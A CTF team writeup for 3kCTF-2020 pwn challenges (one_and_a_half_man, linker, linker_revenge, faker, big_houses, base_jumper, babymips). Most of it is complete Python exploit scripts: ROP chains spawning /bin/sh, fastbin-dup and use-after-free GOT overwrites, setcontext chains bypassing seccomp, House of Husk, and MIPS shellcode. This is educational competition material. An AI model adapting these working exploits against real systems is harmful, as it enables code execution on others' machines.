3kCTF-2020 Writeup
2020-07-26 21:36:05 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:231 收藏

We zer0pts played 3kCTF-2020 which was held from 24 July 2020, 17:00 UTC for 20 hours. There are 5 categories (rev, web, pwn, crypto, misc) and the number of the tasks were well-balanced. I mainly worked on pwn tasks and I felt they were well-designed. Fortunately, we reached 1st place! 🎉

f:id:ptr-yudai:20200726182822p:plain

I'm going to write my solutions for the tasks I solved. The solvers are available here:

bitbucket.org

Other members' writeups:

furutsuki.hatenablog.com

We're given an x86-64 ELF.

$ checksec -f one_and_a_half_man
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   65 Symbols     No       0               2       one_and_a_half_man

The vulnerability is a simple buffer overflow. However, there're only two external functions: read and setvbuf. The idea of this task is same as "rop13" which I made for ASIS CTF Final 2019 and "advanced easy_stack" from Cyber Mimic Defense 2020.

I overwrote the least significant byte of setvbuf@got to make it point to syscall gadget. The hard point was that I couldn't find a gadget to set rax value. After overwriting 1 byte of setvbuf@got, rax will be set to 1, which is equivalent to SYS_write. I used this system call to set rax by calling write and printing 59 bytes. Then rax will be 59 and we can just call SYS_execve.

from ptrlib import *

elf = ELF("./one_and_a_half_man")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

sock = Socket("one-and-a-half-man.3k.ctf.to", 8521)

rop_pop_rdi = 0x00400693
rop_pop_rsi_r15 = 0x00400692
rop_leave = 0x004005db
csu_popper = 0x40068a
csu_caller = 0x400670

"""
 Stage1: stager
"""
payload  = b'A' * (0xa + 8)
payload += p64(csu_popper)

payload += flat([
    0, 1, elf.got("read"), 0, elf.section(".bss") + 0x100, 0x100
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)
payload += flat([
    0, elf.section(".bss") + 0x100 - 8, 0, 0, 0, 0
], map=p64)
payload += p64(rop_leave)
payload += b'A' * (0xaa - len(payload))
print(hex(len(payload)))
sock.send(payload)

"""
 Stage2: core
"""

payload  = p64(csu_popper)
payload += flat([
    0, 1, elf.got("read"), 0, elf.section(".bss") + 0x80, 8
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)

payload += flat([
    0, 1, elf.got("read"), 0, elf.got("read"), 1
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)

payload += flat([
    0, 1, elf.got("read"), 1, elf.section(".bss") + 0x80, 59
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)

payload += flat([
    0, 1, elf.got("read"), elf.section(".bss") + 0x80, 0, 0
], map=p64)
payload += p64(csu_caller)
payload += b'A' * (0x100 - len(payload))
sock.send(payload)
sock.send(b'/bin/sh\0' + b"\x8f")

sock.interactive()

The program has UAF in edit.

$ checksec -f linker
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   87 Symbols     Yes      0               6       linker

I just abused the UAF to corrupt fastbin link. After pointing the link to bss, we can pop a fake chunk around bss section. Since there exists the pointer list in bss, we can overwrite the pointers. I injected a fake pointer pointing to free@got and overwrote it with printf@plt to cause FSB. After leaking the libc address, I made it point to system@plt in the same way.

from ptrlib import *

def new(size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(":\n", str(size))
    return int(sock.recvregex("at index (\d+)")[0])
def edit(index, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", data)
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(":\n", str(index))

elf = ELF("./linker")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

sock = Socket("linker.3k.ctf.to", 9654)

sock.sendlineafter(":\n", "8")
sock.sendafter(":\n", "taro")


logger.info("fastbin dup")
for i in range(7):
    new(0x68)
    delete(0)
new(0x68)
new(0x68)
delete(0)
delete(1)
edit(1, p64(0x60209d))
new(0x68)
new(0x68)


logger.info("overwrite")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0x68) * 8
payload += p32(1) * 2 + p32(0) * 6
payload += p64(elf.got("free"))
payload += p64(0x00000000006020ad)
edit(1, payload)
edit(0, p64(elf.plt("printf")))


new(0x100)
edit(2, "/bin/sh;%{}$p\n".format(15 + 6))
delete(2)
libc_base = int(sock.recvregex("0x([0-9a-f]+)")[0], 16) - libc.symbol("__libc_start_main") - 0xe7
logger.info("libc = " + hex(libc_base))


logger.info("mostly done")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0x68) * 8
payload += p32(1) * 3 + p32(0) * 5
payload += p64(elf.got("free"))
edit(1, payload)
edit(0, p64(libc_base + libc.symbol("system")))


delete(2)

sock.interactive()

The program is quite similar to that of "linker" challenge. The difference is that RELRO and seccomp are enabled this time.

$ checksec -f linker_revenge
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   92 Symbols     Yes      0               6       linker_revenge

seccomp:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000005  if (A == fstat) goto 0010
 0008: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0010
 0009: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

Same principle as "linker", I used the fake chunk on bss. At first I didn't notice "Show" function is added this time and I was abusing FILE structure, which caused timeout on remote.

from ptrlib import *
import time

def new(size):
    sock.sendlineafter("> ", "1\0\0")
    sock.sendlineafter(":\n", str(size))
def edit(index, data):
    sock.sendlineafter("> ", "2\0\0")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", data)
def delete(index):
    sock.sendlineafter("> ", "3\0\0")
    sock.sendlineafter(":\n", str(index))
def show(index):
    sock.sendlineafter("> ", "5\0\0")
    sock.sendlineafter(":\n", str(index))
    return sock.recvline()

elf = ELF("./linker_revenge")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")


sock = Socket("linker-revenge.3k.ctf.to", 9632)

sock.sendlineafter(":\n", "5")
sock.sendlineafter(":\n", "taro")


logger.info("fastbin dup")
for i in range(7):
    new(0x68)
    delete(0)
new(0x68)
new(0x68)
delete(0)
delete(1)
edit(1, p64(0x60203d))
new(0x68)
new(0x68)


logger.info("overwrite")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0xff) * 8
payload += p32(1) * 3 + p32(0) * 5
payload += p64(0x602060) 
payload += p64(0x602020)
payload += p64(0x6020b8)
edit(1, payload)
new(0x408)


libc_base = u64(show(1)) - libc.symbol("_IO_2_1_stdout_")
logger.info("libc = " + hex(libc_base))
heap_base = u64(show(2)) - 0x2290
logger.info("heap = " + hex(heap_base))


rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e8a
rop_pop_rax = libc_base + 0x00043a77
rop_pop_rdx = libc_base + 0x00001b96
rop_xchg_eax_ecx = libc_base + 0x00157bdf
rop_syscall = libc_base + 0x000d29d5

payload  = p32(0x4ff) * 8
payload += p32(1) * 5 + p32(0) * 3
payload += p64(0x602060) + p64(libc_base + libc.symbol("__free_hook"))
edit(0, payload)
edit(1, p64(libc_base + libc.symbol("setcontext") + 0x35))
payload = b''
payload += b"flag\0\0\0\0" + p64(0) 
payload += p64(0) + p64(0) 
payload += p64(0) + p64(0) XXX
payload += p64(0) + p64(0) XXX
payload += p64(0) + p64(0) XXX
payload += p64(0) + p64(0) 
payload += p64(0) + p64(0xffffffffffffff9c) 
payload += p64(heap_base + 0x2290) + p64(0) 
payload += p64(0) + p64(0) 
payload += p64(0) + p64(0) XXX
payload += p64(heap_base + 0x2340 - 8) + p64(rop_pop_rax) 

payload += p64(rop_pop_rax)
payload += p64(257)
payload += p64(rop_syscall)

payload += p64(rop_pop_rdi)
payload += p64(6)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(0)
payload += p64(rop_syscall)

payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(1)
payload += p64(rop_syscall)
edit(3, payload)
delete(3)

sock.interactive()

Again, the binary is similar to that of "linker" and "linker revenge." Seccomp is enabled and RELRO is disabled.

$ checksec -f faker
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   91 Symbols     No       0               6       faker

Same idea.

from ptrlib import *

def new(size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(":\n", str(size))
    return int(sock.recvregex("at index (\d+)")[0])
def edit(index, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", data)
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(":\n", str(index))

elf = ELF("./faker")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

sock = Socket("faker.3k.ctf.to", 5231)

sock.sendlineafter(":\n", "4")
sock.sendafter(":\n", "taro")


logger.info("fastbin dup")
for i in range(7):
    new(0x68)
    delete(0)
new(0x68)
new(0x68)
delete(0)
delete(1)
edit(1, p64(0x6020bd))
new(0x68)
new(0x68)


logger.info("overwrite")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0x68) * 8
payload += p32(1) * 2 + p32(0) * 6
payload += p64(elf.got("free"))
payload += p64(0x6020e0)
edit(1, payload)
edit(0, p64(elf.plt("printf")))


new(0x40)
edit(2, "%{}$p\n".format(13 + 6))
delete(2)
libc_base = int(sock.recvregex("0x([0-9a-f]+)")[0], 16) - libc.symbol("__libc_start_main") - 0xe7
logger.info("libc = " + hex(libc_base))


logger.info("mostly done")
payload  = p32(0x68) * 8
payload += p32(1) * 3 + p32(0) * 5
payload += p64(elf.got("free"))
payload += p64(0x6020e0)
payload += p64(0x602138)
edit(1, payload)
new(0x70) 
new(0x70) 
delete(2)
heap_base = u64(sock.recvuntil("1- Get")[:-6]) - 0x14b0
logger.info("heap = " + hex(heap_base))
edit(0, p64(libc_base + libc.symbol("setcontext") + 0x35))


rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e8a
rop_pop_rax = libc_base + 0x00043a77
rop_pop_rdx = libc_base + 0x00001b96
rop_xchg_eax_ecx = libc_base + 0x00157bdf
rop_syscall = libc_base + 0x000d29d5

payload = b''
payload += b'flag\0\0\0\0' + p64(0xffffffffffffff9c) 
payload += p64(heap_base + 0x14b0) + p64(0) 
payload += p64(0) + p64(0) 
payload += p64(0) + p64(0) XXX
payload += p64(heap_base + 0x17d0 - 8) + p64(rop_pop_rax) 
edit(3, payload)

payload  = p32(0xfff) * 8
payload += p32(1) * 5 + p32(0) * 3
payload += p64(elf.got("free"))
payload += p64(0x6020e0)
payload += p64(heap_base + 0x14b0 - 0x60)
edit(1, payload)

payload = b''
payload += p64(rop_pop_rax)
payload += p64(257)
payload += p64(rop_syscall)

payload += p64(rop_pop_rdi)
payload += p64(6)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(0)
payload += p64(rop_syscall)

payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(1)
payload += p64(rop_syscall)
edit(4, payload)

delete(2)

sock.interactive()

Fully protected binary.

$ checksec -f big_houses
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   92 Symbols     Yes      0               6       big_houses

The vulnerability is an obvious off-by-null. However, we can only allocate chunks larger than 0x8f by calloc, which means we can use neither fastbin nor tcache.

I used House of Einherjar to overlap multiple chunks by abusing unsorted bin. When we can only use large chunks, House of Husk is useful :)

from ptrlib import *
import time

def add(size, name):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(":\n", str(size))
    sock.sendafter(":\n", name)
def delete(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(":\n", str(index))
def show():
    sock.sendlineafter("> ", "3")
    r = []
    while True:
        l = sock.recvline()
        if b'Add item' in l:
            break
        else:
            r.append(l[3:])
    return r
def edit(index, name):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", name)
def offset2size(ofs):
    return ofs * 2 - 0x10

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

sock = Socket("big-houses.3k.ctf.to", 7412)

sock.sendlineafter("> ", "1")


logger.info("evict tcache")
for i in range(7):
    add(0x98, "dummy")
    delete(0)


logger.info("prepare chunk")
payload  = b'D' * 0x4f0
payload += p64(0) + p64(0x21)
payload += p64(0) * 2
payload += p64(0) + p64(0x21)
add(0x427, "A")
add(0x97, "B")
add(0x97, "C")
add(0x527, payload)
add(0x97, "E")
logger.info("overlap chunk")
payload = b"C" * 0x90
payload += p64(0x570)
delete(2)
add(0x98, payload)
delete(0)
delete(3)
delete(4)
add(offset2size(0x3f0658 - libc.main_arena()), "A")
add(offset2size(0x3ec870 - libc.main_arena()), "B")


add(0x428, "dummy")
libc_base = u64(show()[1]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))


logger.info("house of husk")
one_gadget = 0x10a45c
edit(1, p64(0) + p64(libc_base + 0x3ed940 - 0x10))
time.sleep(0.5)
add(0x5f8, "unsorted bin attack")
payload  = p64(0) * (ord('u') - 2)
payload += p64(libc_base + one_gadget)
payload += b'\n'
edit(3, payload)
time.sleep(0.5)
delete(0)
delete(3)

sock.sendlineafter("> ", "5")
sock.sendlineafter("> ", "2")

sock.interactive()

wow the flag

3k{husk_HUSK_husk_credits_@ptrYudai}

x86-64 ELF

$ checksec -f base_jumper
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   72 Symbols     No       0               2       base_jumper

The program has only fgets, fflush, setvbuf. There's a simple buffer overflow.

This challenge is similar to "babybof", which is a challenge I made for zer0pts CTF. There was an unintended solution in that challenge but this time we can't cheat as fgets is used instead of read. Fortunately it provides fflush, which makes it much easier than "babybof."

I leave the detailed writeup here in zer0pts CTF writeup.

from ptrlib import *

elf = ELF("./base_jumper")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

sock = Socket("basejumper.3k.ctf.to", 3147)

rop_pop_rdi = 0x00400763
rop_pop_rsi_r15 = 0x00400761
rop_pop_r15 = 0x00400762
rop_set_rdx_stdin = elf.symbol("gift")
rop_leave = 0x00400666
rop_ret = 0x0040050e
rop_pop_rbp = 0x004005b8

"""
 Stage1: core
"""
stage1 = b'A' * (0xa + 8)

stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x20)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601000)
stage1 += p64(elf.plt("fgets"))

stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x8)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601028)
stage1 += p64(elf.plt("fgets"))

stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x8)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601038)
stage1 += p64(elf.plt("fgets"))

stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x400)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601048)
stage1 += p64(elf.plt("fgets"))

stage1 += p64(rop_pop_rbp)
stage1 += p64(0x601000 - 8)
stage1 += p64(rop_leave)
stage1 += b'A' * (0x400 - len(stage1))

"""
 Stage2: overwrite stdout
"""

stage2_1  = p64(rop_pop_rsi_r15)
stage2_1 += p64(0x20)
stage2_1 += p64(0xdeadbeef)
stage2_1 += p64(rop_pop_rdi)
stage2_2 = p64(rop_pop_r15)
stage2_3 = p64(rop_pop_r15)
stage2_4  = p64(rop_ret) * 0x20
stage2_4 += p64(rop_set_rdx_stdin)
stage2_4 += p64(rop_pop_rsi_r15)
stage2_4 += p64(0x21)
stage2_4 += p64(0xdeadbeef)
stage2_4 += p64(elf.plt("fgets"))

stage2_4 += p64(rop_set_rdx_stdin)
stage2_4 += p64(rop_pop_rsi_r15)
stage2_4 += p64(0x20)
stage2_4 += p64(0xdeadbeef)
stage2_4 += p64(rop_pop_rdi)
stage2_4 += p64(0x601000)
stage2_4 += p64(elf.plt("fgets"))

stage2_4 += p64(rop_ret) * 0x20
stage2_4 += p64(rop_set_rdx_stdin)
stage2_4 += p64(rop_pop_rsi_r15)
stage2_4 += p64(0x200)
stage2_4 += p64(0xdeadbeef)
stage2_4 += p64(rop_pop_rdi)
stage2_4 += p64(0x601048)
stage2_4 += p64(elf.plt("fgets"))

stage2_4 += p64(rop_pop_rbp)
stage2_4 += p64(0x601000 - 8)
stage2_4 += p64(rop_leave)
stage2_4 += b'A' * (0x400 - len(stage2_4))

"""
 Stage3: flush stdout
"""

stage3_1  = p64(rop_ret)
stage3_1 += p64(rop_ret)
stage3_1 += p64(rop_ret)
stage3_1 += p64(rop_pop_rdi)
stage3_2  = p64(rop_ret) * 0x20
stage3_2 += p64(elf.plt("fflush"))
stage3_2 += p64(elf.symbol("vuln"))
stage3_2 += b'A' * (0x200 - len(stage3_2))


sock.send(stage1[:-1])
sock.send(stage2_1[:-1])
sock.send(stage2_2[:-1])
sock.send(stage2_3[:-1])
sock.send(stage2_4[:-1])
sock.send(p64(0xfbad1800) + b'\x00' * 0x18)
sock.send(stage3_1[:-1])
sock.send(stage3_2[:-1])
libc_base = u64(sock.recv()[8:16]) - 0x3ed8b0
logger.info("libc = " + hex(libc_base))


rop_pop_rdx = libc_base + 0x00001b96
payload = b'A' * (0xa + 8)
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rsi_r15)
payload += p64(0)
payload += p64(0xdeadbeef)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("execve"))
sock.sendline(payload)

sock.interactive()

When I made "babybof" for zer0pts CTF 2020, I did a really hard research on this type of simple buffer overflow. I'm not going to write about it but there exists many (not-yet-published) ways to pwn it without output, especially when it's compiled with gcc/clang. Thanks to my past research, this task was pretty easy for me :P

We're given a statically-linked 32-bit ELF for MIPS.

$ checksec -f challenge
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols      No      0               0       challenge

There exists a simple buffer overflow in main function. Before writing ROP, we have to find out the password because the program calls exit when it's wrong. I analysed the binary with Ghidra+GDB and wrote the following decoder.

t = [
    0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd,
    0xba, 0xab, 0xf2, 0xfb, 0xe3, 
]

cred = b'\x8f\x55\x29\xa2\x9f\x7a\x2e\x93\xfb\xa8\xba\x10\xa8\x7c\x19'
password = b""
for i in range(15):
    for c in range(0x100):
        if (c * 10 ^ i + t[i]) & 0xff == cred[i]:
            password += bytes([c])
            break

print(password)

I'm not familiar with MIPS exploit and what I could use was only ret2csu :3

I just injected shellcode to bss section and executed it.

from ptrlib import *
import time

elf = ELF("./challenge")


sock = Socket("babymips.3k.ctf.to", 7777)

sock.recvline()
sock.send(b'A' * 0x81)

csu_popper = 0x004010e4
csu_caller = 0x004010c4

canary = u32(b'\x00' + sock.recvline()[0x81:0x84])
logger.info("canary = " + hex(canary))
payload  = b"dumbasspassword\x00"
payload += b'A' * (0x80 - len(payload))
payload += p32(canary)
payload += p32(0xdeadbeef)
payload += p32(csu_popper)
payload += p32(0xdeadbeef) * 7
payload += flat([
    0x491438, 0, 0, elf.section(".bss")+0x100, 0x100, 1
], map=p32)
payload += p32(csu_caller)
payload += p32(0xdeadbeef) * 7
payload += flat([
    0, 1, 2, 3, 4, 5
], map=p32)
payload += p32(elf.section(".bss")+0x100)
sock.send(payload)

shellcode = b''
shellcode += b"\xff\xff\x06\x28" 
shellcode += b"\xff\xff\xd0\x04" 
shellcode += b"\xff\xff\x05\x28" 
shellcode += b"\x01\x10\xe4\x27" 
shellcode += b"\x0f\xf0\x84\x24" 
shellcode += b"\xab\x0f\x02\x24" 
shellcode += b"\x0c\x01\x01\x01" 
shellcode += b"/bin/sh"
time.sleep(3)
sock.send(shellcode)

sock.interactive()

文章来源: https://ptr-yudai.hatenablog.com/entry/2020/07/26/213605
如有侵权请联系:admin#unsafe.sh